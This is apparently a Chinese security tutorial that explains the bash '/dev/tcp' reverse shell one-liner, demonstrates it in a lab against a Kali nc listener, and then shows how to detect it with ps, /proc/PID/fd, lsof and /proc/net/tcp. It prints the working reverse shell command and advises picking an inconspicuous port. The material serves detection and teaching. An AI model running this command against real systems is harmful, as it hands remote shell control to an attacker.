#网络安全
#入侵分析
bash -i >& /dev/tcp/IP_ADDRESS/PORT 0>&1
上面的命令是我们常见的Linux反弹Shell的命令之一。它可以在几乎所有的Linux系统中运行,并且不需要额外配置其它环境。
命令分析
下面我们来分析一下这条命令:
bash:启动Bash shell;
-i:以交互模式运行Bash,允许用户与shell进行交互;
>&:重定向操作,它将标准输出和标准错误都重定向到特定的地址;
/dev/tcp/IP_ADDRESS/PORT:这是需要连接的TCP地址和端口;
0>&1:它将标准输入重定向到标准输出,任何发送到shell的输入都会发送到远程的TCP连接;
创建反弹shell
首先,在攻击端上利用nc工具监听特定端口,如62524端口 ,尽量选一个“正常”的端口,不那么显眼的。
【攻击端】配置,如下:
┌──(root㉿kali)-[/home/kali/Desktop]
└─# hostname -I
192.168.10.131 172.18.0.1 172.17.0.1
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -vlp 62524
listening on [any] 62524 ...
【靶机】配置,如下:
Linux 系统默认没有安装 nc,可以用下面的方法安装:
[root@OoOoO lyj]# yum install nc
Loaded plugins: fastestmirror, langpacks
Loading mirror speeds from cached hostfile
- base: mirrors.aliyun.com
- extras: mirrors.aliyun.com
- updates: mirrors.aliyun.com
Package 2:nmap-ncat-6.40-19.el7.x86_64 already installed and latest version
Nothing to do
然后,在靶机上运行反弹shell命令,IP为攻击机的IP,端口为监听端口:
[root@OoOoO lyj]# bash -i >& /dev/tcp/192.168.10.131/62524 0>&1
【攻击端】:
执行成功后,攻击机会收到连接成功的消息,并会创建一个连接会话。
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -vlp 62524
listening on [any] 62524 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.10.131] from bogon [192.168.10.39] 43682
[root@OoOoO lyj]#
[root@OoOoO lyj]# ls
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
分析反弹shell
①
在靶机终端执行ps -aux
查看当前系统进程:
通过对进程信息进行分析,我们可以找到一个bash -i进程信息,bash -i 表示是一个可交互的shell。
一般来说,这种情况并不常见,【因此在机器中发现 bash -i 进程是需要额外注意】。
ps -aux 可以查看进程的PID号。
②
对于初步怀疑异常的进程可以查看进程详情,查看/proc/PID,查看进程详细信息:
/proc/<pid>
/exe 包含了正在进程中运行的程序链接 ;从进程信息来看,这个进程是bash程序。
进入 fd目录,执行ls -la
③
0 为标准输入,1 为标准输出,2 为错误输出;可以看到 bash 进程的标准输入输出均为socket 网络连接。
④
正常bash 进程是不会有网络连接的,因此使用lsof -p PID查看进程的远程连接信息:
根据分析结果,可以看到进程使用TCP 连接了远程IP和端口。
⑤
另外可以通过/proc/net/tcp文件列出了当前正在进行的TCP连接,通过检查该文件可以发现隐藏的网络,并且我们可以使用ChatGPT将展示的十六进制数据转换成十进制可读数据。
转换后的结果,分别是本地连接地址、端口和远程连接地址、端口。
因此,当 bash 进程存在与远程服务器进行连接时,可以判断存在反弹 shell 行为。
总结
通过以上步骤,我们可以手动分析和检测 Linux 系统中的反弹 shell 活动。关键在于详细检查系统进程和网络连接,识别发起网络连接请求的异常 bash 进程。